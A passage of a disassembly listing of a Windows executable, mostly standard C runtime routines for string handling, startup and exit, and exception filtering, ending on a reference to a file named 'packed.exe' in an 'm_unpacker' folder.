loc_402598:				; CODE XREF: sub_402290+1B7j
					; sub_402290:loc_402474j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4025AC:				; CODE XREF: sub_402290+1B7j
					; sub_402290:loc_402474j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_402290	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4025D0	proc near		; CODE XREF: sub_40159E+8p
					; sub_40371C+DFp ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_4025F0


loc_4025DC:				; CODE XREF: sub_4025D0+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_4025DC


loc_4025F0:				; CODE XREF: sub_4025D0+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_4025D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_402600	proc near		; CODE XREF: sub_401A84+2Dp
					; sub_401A84+50p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	edi
		push	ebx
		push	esi
		mov	dl, [ecx]
		mov	edi, [esp+0Ch+arg_0]
		test	dl, dl
		jz	short loc_40267A
		mov	dh, [ecx+1]
		test	dh, dh
		jz	short loc_402667


loc_402618:				; CODE XREF: sub_402600+52j
					; sub_402600+65j
		mov	esi, edi
		mov	ecx, [esp+0Ch+arg_4]
		mov	al, [edi]
		inc	esi
		cmp	al, dl
		jz	short loc_40263A
		test	al, al
		jz	short loc_402634


loc_402629:				; CODE XREF: sub_402600+32j
		mov	al, [esi]
		inc	esi


loc_40262C:				; CODE XREF: sub_402600+3Fj
		cmp	al, dl
		jz	short loc_40263A
		test	al, al
		jnz	short loc_402629


loc_402634:				; CODE XREF: sub_402600+27j
		pop	esi
		pop	ebx
		pop	edi
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_40263A:				; CODE XREF: sub_402600+23j
					; sub_402600+2Ej
		mov	al, [esi]
		inc	esi
		cmp	al, dh
		jnz	short loc_40262C
		lea	edi, [esi-1]


loc_402644:				; CODE XREF: sub_402600+63j
		mov	ah, [ecx+2]
		test	ah, ah
		jz	short loc_402673
		mov	al, [esi]
		add	esi, 2
		cmp	al, ah
		jnz	short loc_402618
		mov	al, [ecx+3]
		test	al, al
		jz	short loc_402673
		mov	ah, [esi-1]
		add	ecx, 2
		cmp	al, ah
		jz	short loc_402644
		jmp	short loc_402618
; ---------------------------------------------------------------------------


loc_402667:				; CODE XREF: sub_402600+16j
		xor	eax, eax
		pop	esi
		pop	ebx
		pop	edi
		mov	al, dl
		jmp	sub_402996
; ---------------------------------------------------------------------------


loc_402673:				; CODE XREF: sub_402600+49j
					; sub_402600+59j
		lea	eax, [edi-1]
		pop	esi
		pop	ebx
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_40267A:				; CODE XREF: sub_402600+Fj
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
sub_402600	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402680	proc near		; CODE XREF: sub_401B08+103p
					; sub_401B08+14Cp

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		push	8
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_20]
		rep stosd
		push	7
		pop	edi


loc_402699:				; CODE XREF: sub_402680+32j
		mov	dl, [esi]
		mov	bl, 1
		movzx	ecx, dl
		mov	eax, ecx
		and	ecx, edi
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_20]
		or	[eax], bl
		inc	esi
		test	dl, dl
		jnz	short loc_402699
		mov	edx, [ebp+arg_0]
		test	edx, edx
		jnz	short loc_4026C1
		mov	edx, dword_406F3C


loc_4026C1:				; CODE XREF: sub_402680+39j
					; sub_402680+5Fj
		mov	al, [edx]
		push	1
		movzx	esi, al
		mov	ecx, esi
		pop	ebx
		and	ecx, edi
		shl	ebx, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	bl, cl
		jz	short loc_4026E1
		test	al, al
		jz	short loc_4026E1
		inc	edx
		jmp	short loc_4026C1
; ---------------------------------------------------------------------------


loc_4026E1:				; CODE XREF: sub_402680+58j
					; sub_402680+5Cj
		mov	ebx, edx


loc_4026E3:				; CODE XREF: sub_402680+81j
		mov	al, [edx]
		test	al, al
		jz	short loc_402707
		movzx	esi, al
		mov	ecx, esi
		push	1
		and	ecx, edi
		pop	eax
		shl	eax, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	al, cl
		jnz	short loc_402703
		inc	edx
		jmp	short loc_4026E3
; ---------------------------------------------------------------------------


loc_402703:				; CODE XREF: sub_402680+7Ej
		and	byte ptr [edx],	0
		inc	edx


loc_402707:				; CODE XREF: sub_402680+67j
		mov	eax, ebx
		pop	edi
		sub	eax, edx
		pop	esi
		neg	eax
		sbb	eax, eax
		mov	dword_406F3C, edx
		and	eax, ebx
		pop	ebx
		leave
		retn
sub_402680	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_402720	proc near		; CODE XREF: sub_401B08+E9p
					; sub_401B08+270p ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		jmp	short loc_402791
sub_402720	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_402730	proc near		; CODE XREF: sub_401EF0+108p
					; sub_401EF0+117p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		push	edi
		test	ecx, 3
		jz	short loc_40274C


loc_40273D:				; CODE XREF: sub_402730+1Aj
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_40277F
		test	ecx, 3
		jnz	short loc_40273D


loc_40274C:				; CODE XREF: sub_402730+Bj
					; sub_402730+32j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_40274C
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_40278E
		test	ah, ah
		jz	short loc_402789
		test	eax, 0FF0000h
		jz	short loc_402784
		test	eax, 0FF000000h
		jz	short loc_40277F
		jmp	short loc_40274C
; ---------------------------------------------------------------------------


loc_40277F:				; CODE XREF: sub_402730+12j
					; sub_402730+4Bj
		lea	edi, [ecx-1]
		jmp	short loc_402791
; ---------------------------------------------------------------------------


loc_402784:				; CODE XREF: sub_402730+44j
		lea	edi, [ecx-2]
		jmp	short loc_402791
; ---------------------------------------------------------------------------


loc_402789:				; CODE XREF: sub_402730+3Dj
		lea	edi, [ecx-3]
		jmp	short loc_402791
; ---------------------------------------------------------------------------


loc_40278E:				; CODE XREF: sub_402730+39j
		lea	edi, [ecx-4]


loc_402791:				; CODE XREF: sub_402720+5j
					; sub_402730+52j ...
		mov	ecx, [esp+4+arg_4]
		test	ecx, 3
		jz	short loc_4027B6


loc_40279D:				; CODE XREF: sub_402730+7Dj
		mov	dl, [ecx]
		inc	ecx
		test	dl, dl
		jz	short loc_402808
		mov	[edi], dl
		inc	edi
		test	ecx, 3
		jnz	short loc_40279D
		jmp	short loc_4027B6
; ---------------------------------------------------------------------------


loc_4027B1:				; CODE XREF: sub_402730+9Ej
					; sub_402730+B8j
		mov	[edi], edx
		add	edi, 4


loc_4027B6:				; CODE XREF: sub_402730+6Bj
					; sub_402730+7Fj
		mov	edx, 7EFEFEFFh
		mov	eax, [ecx]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [ecx]
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_4027B1
		test	dl, dl
		jz	short loc_402808
		test	dh, dh
		jz	short loc_4027FF
		test	edx, 0FF0000h
		jz	short loc_4027F2
		test	edx, 0FF000000h
		jz	short loc_4027EA
		jmp	short loc_4027B1
; ---------------------------------------------------------------------------


loc_4027EA:				; CODE XREF: sub_402730+B6j
		mov	[edi], edx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_4027F2:				; CODE XREF: sub_402730+AEj
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		mov	byte ptr [edi+2], 0
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_4027FF:				; CODE XREF: sub_402730+A6j
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_402808:				; CODE XREF: sub_402730+72j
					; sub_402730+A2j
		mov	[edi], dl
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
sub_402730	endp


; =============== S U B	R O U T	I N E =======================================



sub_402810	proc near		; CODE XREF: sub_401E30+19p

arg_0		= dword	ptr  4

		cmp	dword_406CEC, 1
		jle	short loc_40282A
		push	107h
		push	[esp+4+arg_0]
		call	sub_402A4C
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_40282A:				; CODE XREF: sub_402810+7j
		mov	eax, [esp+arg_0]
		mov	ecx, off_406AE0
		mov	ax, [ecx+eax*2]
		and	eax, 107h
		retn
sub_402810	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_405128
		push	offset sub_4034B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		call	dword_4050AC	; GetVersion
		xor	edx, edx
		mov	dl, ah
		mov	dword_406F64, edx
		mov	ecx, eax
		and	ecx, 0FFh
		mov	dword_406F60, ecx
		shl	ecx, 8
		add	ecx, edx
		mov	dword_406F5C, ecx
		shr	eax, 10h
		mov	dword_406F58, eax
		xor	esi, esi
		push	esi
		call	sub_403382
		pop	ecx
		test	eax, eax
		jnz	short loc_4028AA
		push	1Ch
		call	sub_402959
		pop	ecx


loc_4028AA:				; CODE XREF: .text:004028A0j
		mov	[ebp-4], esi
		call	sub_4031D7
		call	dword_4050A8	; GetCommandLineA
		mov	dword_407458, eax
		call	sub_4030A5
		mov	dword_406F40, eax
		call	sub_402E58
		call	sub_402D9F
		call	sub_402AC1
		mov	[ebp-30h], esi
		lea	eax, [ebp-5Ch]
		push	eax
		call	dword_4050A4	; GetStartupInfoA
		call	sub_402D47
		mov	[ebp-64h], eax
		test	byte ptr [ebp-30h], 1
		jz	short loc_4028F7
		movzx	eax, word ptr [ebp-2Ch]
		jmp	short loc_4028FA
; ---------------------------------------------------------------------------


loc_4028F7:				; CODE XREF: .text:004028EFj
		push	0Ah
		pop	eax


loc_4028FA:				; CODE XREF: .text:004028F5j
		push	eax
		push	dword ptr [ebp-64h]
		push	esi
		push	esi
		call	dword_4050A0	; GetModuleHandleA
		push	eax
		call	sub_402029
		mov	[ebp-60h], eax
		push	eax
		call	sub_402AEE
		mov	eax, [ebp-14h]
		mov	ecx, [eax]
		mov	ecx, [ecx]
		mov	[ebp-68h], ecx
		push	eax
		push	ecx
		call	sub_402BC3
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		push	dword ptr [ebp-68h]
		call	sub_402AFF

; =============== S U B	R O U T	I N E =======================================



sub_402934	proc near		; CODE XREF: sub_402D9F+4Ep
					; sub_402D9F+7Dp ...

arg_0		= dword	ptr  4

		cmp	dword_406F48, 1
		jnz	short loc_402942
		call	sub_403590


loc_402942:				; CODE XREF: sub_402934+7j
		push	[esp+arg_0]
		call	sub_4035C9
		push	0FFh
		call	off_406AD0
		pop	ecx
		pop	ecx
		retn
sub_402934	endp


; =============== S U B	R O U T	I N E =======================================



sub_402959	proc near		; CODE XREF: .text:004028A4p

arg_0		= dword	ptr  4

		cmp	dword_406F48, 1
		jnz	short loc_402967
		call	sub_403590


loc_402967:				; CODE XREF: sub_402959+7j
		push	[esp+arg_0]
		call	sub_4035C9
		pop	ecx
		push	0FFh
		call	dword_4050B0	; ExitProcess
		retn
sub_402959	endp

; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_402996


loc_402980:				; CODE XREF: sub_402996+17j
		lea	eax, [edx-1]
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_402996
; ---------------------------------------------------------------------------
		align 10h
		xor	eax, eax
		mov	al, [esp+8]

; =============== S U B	R O U T	I N E =======================================



sub_402996	proc near		; CODE XREF: sub_402600+6Ej

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00402980 SIZE 00000005 BYTES

		push	ebx
		mov	ebx, eax
		shl	eax, 8
		mov	edx, [esp+4+arg_0]
		test	edx, 3
		jz	short loc_4029BB


loc_4029A8:				; CODE XREF: sub_402996+23j
		mov	cl, [edx]
		inc	edx
		cmp	cl, bl
		jz	short loc_402980
		test	cl, cl
		jz	short loc_402A04
		test	edx, 3
		jnz	short loc_4029A8


loc_4029BB:				; CODE XREF: sub_402996+10j
		or	ebx, eax
		push	edi
		mov	eax, ebx
		shl	ebx, 10h
		push	esi
		or	ebx, eax


loc_4029C6:				; CODE XREF: sub_402996+5Bj
					; sub_402996+6Aj ...
		mov	ecx, [edx]
		mov	edi, 7EFEFEFFh
		mov	eax, ecx
		mov	esi, edi
		xor	ecx, ebx
		add	esi, eax
		add	edi, ecx
		xor	ecx, 0FFFFFFFFh
		xor	eax, 0FFFFFFFFh
		xor	ecx, edi
		xor	eax, esi
		add	edx, 4
		and	ecx, 81010100h
		jnz	short loc_402A08
		and	eax, 81010100h
		jz	short loc_4029C6
		and	eax, 1010100h
		jnz	short loc_402A02
		and	esi, 80000000h
		jnz	short loc_4029C6


loc_402A02:				; CODE XREF: sub_402996+62j
					; sub_402996+7Bj ...
		pop	esi
		pop	edi


loc_402A04:				; CODE XREF: sub_402996+1Bj
		pop	ebx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_402A08:				; CODE XREF: sub_402996+54j
		mov	eax, [edx-4]
		cmp	al, bl
		jz	short loc_402A45
		test	al, al
		jz	short loc_402A02
		cmp	ah, bl
		jz	short loc_402A3E
		test	ah, ah
		jz	short loc_402A02
		shr	eax, 10h
		cmp	al, bl
		jz	short loc_402A37
		test	al, al
		jz	short loc_402A02
		cmp	ah, bl
		jz	short loc_402A30
		test	ah, ah
		jz	short loc_402A02
		jmp	short loc_4029C6
; ---------------------------------------------------------------------------


loc_402A30:				; CODE XREF: sub_402996+92j
		pop	esi
		pop	edi
		lea	eax, [edx-1]
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_402A37:				; CODE XREF: sub_402996+8Aj
		lea	eax, [edx-2]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_402A3E:				; CODE XREF: sub_402996+7Fj
		lea	eax, [edx-3]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_402A45:				; CODE XREF: sub_402996+77j
		lea	eax, [edx-4]
		pop	esi
		pop	edi
		pop	ebx
		retn
sub_402996	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402A4C	proc near		; CODE XREF: sub_402810+12p

var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		lea	ecx, [eax+1]
		cmp	ecx, 100h
		ja	short loc_402A6A
		mov	ecx, off_406AE0
		movzx	eax, word ptr [ecx+eax*2]
		jmp	short loc_402ABC
; ---------------------------------------------------------------------------


loc_402A6A:				; CODE XREF: sub_402A4C+10j
		mov	ecx, eax
		push	esi
		mov	esi, off_406AE0
		sar	ecx, 8
		movzx	edx, cl
		test	byte ptr [esi+edx*2+1],	80h
		pop	esi
		jz	short loc_402A8F
		and	[ebp+var_2], 0
		mov	[ebp+var_4], cl
		mov	[ebp+var_3], al
		push	2
		jmp	short loc_402A98
; ---------------------------------------------------------------------------


loc_402A8F:				; CODE XREF: sub_402A4C+33j
		and	[ebp+var_3], 0
		mov	[ebp+var_4], al
		push	1


loc_402A98:				; CODE XREF: sub_402A4C+41j
		pop	eax
		lea	ecx, [ebp+arg_0+2]
		push	1
		push	0
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_40371C
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_402AB8
		leave
		retn
; ---------------------------------------------------------------------------


loc_402AB8:				; CODE XREF: sub_402A4C+68j
		movzx	eax, word ptr [ebp+arg_0+2]


loc_402ABC:				; CODE XREF: sub_402A4C+1Cj
		and	eax, [ebp+arg_4]
		leave
		retn
sub_402A4C	endp


; =============== S U B	R O U T	I N E =======================================



sub_402AC1	proc near		; CODE XREF: .text:004028D1p
		mov	eax, dword_407454
		test	eax, eax
		jz	short loc_402ACC
		call	eax


loc_402ACC:				; CODE XREF: sub_402AC1+7j
		push	offset dword_406010
		push	offset dword_406008
		call	sub_402BA9
		push	offset dword_406004
		push	offset dword_406000
		call	sub_402BA9
		add	esp, 10h
		retn
sub_402AC1	endp


; =============== S U B	R O U T	I N E =======================================



sub_402AEE	proc near		; CODE XREF: .text:00402910p

arg_0		= dword	ptr  4

		push	0
		push	0
		push	[esp+8+arg_0]
		call	sub_402B10
		add	esp, 0Ch
		retn
sub_402AEE	endp


; =============== S U B	R O U T	I N E =======================================



sub_402AFF	proc near		; CODE XREF: .text:0040292Fp
					; sub_402934+1Cp
					; DATA XREF: ...

arg_0		= dword	ptr  4

		push	0
		push	1
		push	[esp+8+arg_0]
		call	sub_402B10
		add	esp, 0Ch
		retn
sub_402AFF	endp


; =============== S U B	R O U T	I N E =======================================



sub_402B10	proc near		; CODE XREF: sub_402AEE+8p
					; sub_402AFF+8p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		push	1
		pop	edi
		cmp	dword_406F94, edi
		jnz	short loc_402B2D
		push	[esp+4+arg_0]
		call	dword_4050B8	; GetCurrentProcess
		push	eax
		call	dword_4050B4	; TerminateProcess


loc_402B2D:				; CODE XREF: sub_402B10+Aj
		cmp	[esp+4+arg_4], 0
		push	ebx
		mov	ebx, [esp+8+arg_8]
		mov	dword_406F90, edi
		mov	byte_406F8C, bl
		jnz	short loc_402B81
		mov	eax, dword_407450
		test	eax, eax
		jz	short loc_402B70
		mov	ecx, dword_40744C
		push	esi
		lea	esi, [ecx-4]
		cmp	esi, eax
		jb	short loc_402B6F


loc_402B5C:				; CODE XREF: sub_402B10+5Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_402B64
		call	eax


loc_402B64:				; CODE XREF: sub_402B10+50j
		sub	esi, 4
		cmp	esi, dword_407450
		jnb	short loc_402B5C


loc_402B6F:				; CODE XREF: sub_402B10+4Aj
		pop	esi


loc_402B70:				; CODE XREF: sub_402B10+3Cj
		push	offset dword_406018
		push	offset dword_406014
		call	sub_402BA9
		pop	ecx
		pop	ecx


loc_402B81:				; CODE XREF: sub_402B10+33j
		push	offset dword_406020
		push	offset dword_40601C
		call	sub_402BA9
		pop	ecx
		pop	ecx
		test	ebx, ebx
		pop	ebx
		jnz	short loc_402BA7
		push	[esp+4+arg_0]
		mov	dword_406F94, edi
		call	dword_4050B0	; ExitProcess


loc_402BA7:				; CODE XREF: sub_402B10+85j
		pop	edi
		retn
sub_402B10	endp


; =============== S U B	R O U T	I N E =======================================



sub_402BA9	proc near		; CODE XREF: sub_402AC1+15p
					; sub_402AC1+24p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]


loc_402BAE:				; CODE XREF: sub_402BA9+16j
		cmp	esi, [esp+4+arg_4]
		jnb	short loc_402BC1
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_402BBC
		call	eax


loc_402BBC:				; CODE XREF: sub_402BA9+Fj
		add	esi, 4
		jmp	short loc_402BAE
; ---------------------------------------------------------------------------


loc_402BC1:				; CODE XREF: sub_402BA9+9j
		pop	esi
		retn
sub_402BA9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402BC3	proc near		; CODE XREF: .text:00402921p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	[ebp+arg_0]
		call	sub_402D04
		test	eax, eax
		pop	ecx
		jz	loc_402CF8
		mov	ebx, [eax+8]
		test	ebx, ebx
		jz	loc_402CF8
		cmp	ebx, 5
		jnz	short loc_402BF4
		and	dword ptr [eax+8], 0
		push	1
		pop	eax
		jmp	loc_402D01
; ---------------------------------------------------------------------------


loc_402BF4:				; CODE XREF: sub_402BC3+23j
		cmp	ebx, 1
		jz	loc_402CF3
		mov	ecx, dword_406F98
		mov	[ebp+arg_0], ecx
		mov	ecx, [ebp+arg_4]
		mov	dword_406F98, ecx
		mov	ecx, [eax+4]
		cmp	ecx, 8
		jnz	loc_402CE3
		mov	ecx, dword_406D70
		mov	edx, dword_406D74
		add	edx, ecx
		push	esi
		cmp	ecx, edx
		jge	short loc_402C43
		lea	esi, [ecx+ecx*2]
		sub	edx, ecx
		lea	esi, ds:406D00h[esi*4]


loc_402C3A:				; CODE XREF: sub_402BC3+7Ej
		and	dword ptr [esi], 0
		add	esi, 0Ch
		dec	edx
		jnz	short loc_402C3A


loc_402C43:				; CODE XREF: sub_402BC3+69j
		mov	eax, [eax]
		mov	esi, dword_406D7C
		cmp	eax, 0C000008Eh
		jnz	short loc_402C5E
		mov	dword_406D7C, 83h
		jmp	short loc_402CCE
; ---------------------------------------------------------------------------


loc_402C5E:				; CODE XREF: sub_402BC3+8Dj
		cmp	eax, 0C0000090h
		jnz	short loc_402C71
		mov	dword_406D7C, 81h
		jmp	short loc_402CCE
; ---------------------------------------------------------------------------


loc_402C71:				; CODE XREF: sub_402BC3+A0j
		cmp	eax, 0C0000091h
		jnz	short loc_402C84
		mov	dword_406D7C, 84h
		jmp	short loc_402CCE
; ---------------------------------------------------------------------------


loc_402C84:				; CODE XREF: sub_402BC3+B3j
		cmp	eax, 0C0000093h
		jnz	short loc_402C97
		mov	dword_406D7C, 85h
		jmp	short loc_402CCE
; ---------------------------------------------------------------------------


loc_402C97:				; CODE XREF: sub_402BC3+C6j
		cmp	eax, 0C000008Dh
		jnz	short loc_402CAA
		mov	dword_406D7C, 82h
		jmp	short loc_402CCE
; ---------------------------------------------------------------------------


loc_402CAA:				; CODE XREF: sub_402BC3+D9j
		cmp	eax, 0C000008Fh
		jnz	short loc_402CBD
		mov	dword_406D7C, 86h
		jmp	short loc_402CCE
; ---------------------------------------------------------------------------


loc_402CBD:				; CODE XREF: sub_402BC3+ECj
		cmp	eax, 0C0000092h
		jnz	short loc_402CCE
		mov	dword_406D7C, 8Ah


loc_402CCE:				; CODE XREF: sub_402BC3+99j
					; sub_402BC3+ACj ...
		push	dword_406D7C
		push	8
		call	ebx	; _lread
		pop	ecx
		mov	dword_406D7C, esi
		pop	ecx
		pop	esi
		jmp	short loc_402CEB
; ---------------------------------------------------------------------------


loc_402CE3:				; CODE XREF: sub_402BC3+52j
		and	dword ptr [eax+8], 0
		push	ecx
		call	ebx	; _lread
		pop	ecx


loc_402CEB:				; CODE XREF: sub_402BC3+11Ej
		mov	eax, [ebp+arg_0]
		mov	dword_406F98, eax


loc_402CF3:				; CODE XREF: sub_402BC3+34j
		or	eax, 0FFFFFFFFh
		jmp	short loc_402D01
; ---------------------------------------------------------------------------


loc_402CF8:				; CODE XREF: sub_402BC3+Fj
					; sub_402BC3+1Aj
		push	[ebp+arg_4]
		call	dword_4050BC	; UnhandledExceptionFilter


loc_402D01:				; CODE XREF: sub_402BC3+2Cj
					; sub_402BC3+133j
		pop	ebx
		pop	ebp
		retn
sub_402BC3	endp


; =============== S U B	R O U T	I N E =======================================



sub_402D04	proc near		; CODE XREF: sub_402BC3+7p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_406D78
		cmp	dword_406CF8, edx
		push	esi
		mov	eax, offset dword_406CF8
		jz	short loc_402D31
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:406CF8h[esi*4]


loc_402D26:				; CODE XREF: sub_402D04+2Bj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_402D31
		cmp	[eax], edx
		jnz	short loc_402D26


loc_402D31:				; CODE XREF: sub_402D04+16j
					; sub_402D04+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:406CF8h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_402D44
		cmp	[eax], edx
		jz	short locret_402D46


loc_402D44:				; CODE XREF: sub_402D04+3Aj
		xor	eax, eax

locret_402D46:				; CODE XREF: sub_402D04+3Ej
		retn
sub_402D04	endp


; =============== S U B	R O U T	I N E =======================================



sub_402D47	proc near		; CODE XREF: .text:004028E3p
		cmp	dword_407448, 0
		jnz	short loc_402D55
		call	sub_403C6B


loc_402D55:				; CODE XREF: sub_402D47+7j
		push	esi
		mov	esi, dword_407458
		mov	al, [esi]
		cmp	al, 22h
		jnz	short loc_402D87


loc_402D62:				; CODE XREF: sub_402D47+33j
					; sub_402D47+36j
		mov	al, [esi+1]
		inc	esi
		cmp	al, 22h
		jz	short loc_402D7F
		test	al, al
		jz	short loc_402D7F
		movzx	eax, al
		push	eax
		call	sub_403865
		test	eax, eax
		pop	ecx
		jz	short loc_402D62
		inc	esi
		jmp	short loc_402D62
; ---------------------------------------------------------------------------


loc_402D7F:				; CODE XREF: sub_402D47+21j
					; sub_402D47+25j
		cmp	byte ptr [esi],	22h
		jnz	short loc_402D91


loc_402D84:				; CODE XREF: sub_402D47+52j
		inc	esi
		jmp	short loc_402D91
; ---------------------------------------------------------------------------


loc_402D87:				; CODE XREF: sub_402D47+19j
		cmp	al, 20h
		jbe	short loc_402D91


loc_402D8B:				; CODE XREF: sub_402D47+48j
		inc	esi
		cmp	byte ptr [esi],	20h
		ja	short loc_402D8B


loc_402D91:				; CODE XREF: sub_402D47+3Bj
					; sub_402D47+3Ej ...
		mov	al, [esi]
		test	al, al
		jz	short loc_402D9B
		cmp	al, 20h
		jbe	short loc_402D84


loc_402D9B:				; CODE XREF: sub_402D47+4Ej
		mov	eax, esi
		pop	esi
		retn
sub_402D47	endp


; =============== S U B	R O U T	I N E =======================================



sub_402D9F	proc near		; CODE XREF: .text:004028CCp
		push	ebx
		xor	ebx, ebx
		cmp	dword_407448, ebx
		push	esi
		push	edi
		jnz	short loc_402DB1
		call	sub_403C6B


loc_402DB1:				; CODE XREF: sub_402D9F+Bj
		mov	esi, dword_406F40
		xor	edi, edi


loc_402DB9:				; CODE XREF: sub_402D9F+30j
		mov	al, [esi]
		cmp	al, bl
		jz	short loc_402DD1
		cmp	al, 3Dh
		jz	short loc_402DC4
		inc	edi


loc_402DC4:				; CODE XREF: sub_402D9F+22j
		push	esi
		call	sub_402210
		pop	ecx
		lea	esi, [esi+eax+1]
		jmp	short loc_402DB9
; ---------------------------------------------------------------------------


loc_402DD1:				; CODE XREF: sub_402D9F+1Ej
		lea	eax, ds:4[edi*4]
		push	eax
		call	sub_403CB6
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	dword_406F74, esi
		jnz	short loc_402DF3
		push	9
		call	sub_402934
		pop	ecx


loc_402DF3:				; CODE XREF: sub_402D9F+4Aj
		mov	edi, dword_406F40
		cmp	[edi], bl
		jz	short loc_402E36
		push	ebp


loc_402DFE:				; CODE XREF: sub_402D9F+94j
		push	edi
		call	sub_402210
		mov	ebp, eax
		pop	ecx
		inc	ebp
		cmp	byte ptr [edi],	3Dh
		jz	short loc_402E2F
		push	ebp
		call	sub_403CB6
		cmp	eax, ebx
		pop	ecx
		mov	[esi], eax
		jnz	short loc_402E22
		push	9
		call	sub_402934
		pop	ecx


loc_402E22:				; CODE XREF: sub_402D9F+79j
		push	edi
		push	dword ptr [esi]
		call	sub_402720
		pop	ecx
		add	esi, 4
		pop	ecx


loc_402E2F:				; CODE XREF: sub_402D9F+6Cj
		add	edi, ebp
		cmp	[edi], bl
		jnz	short loc_402DFE
		pop	ebp


loc_402E36:				; CODE XREF: sub_402D9F+5Cj
		push	dword_406F40
		call	sub_403C87
		pop	ecx
		mov	dword_406F40, ebx
		mov	[esi], ebx
		pop	edi
		pop	esi
		mov	dword_407444, 1
		pop	ebx
		retn
sub_402D9F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402E58	proc near		; CODE XREF: .text:004028C7p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	dword_407448, ebx
		push	esi
		push	edi
		jnz	short loc_402E6F
		call	sub_403C6B


loc_402E6F:				; CODE XREF: sub_402E58+10j
		mov	esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
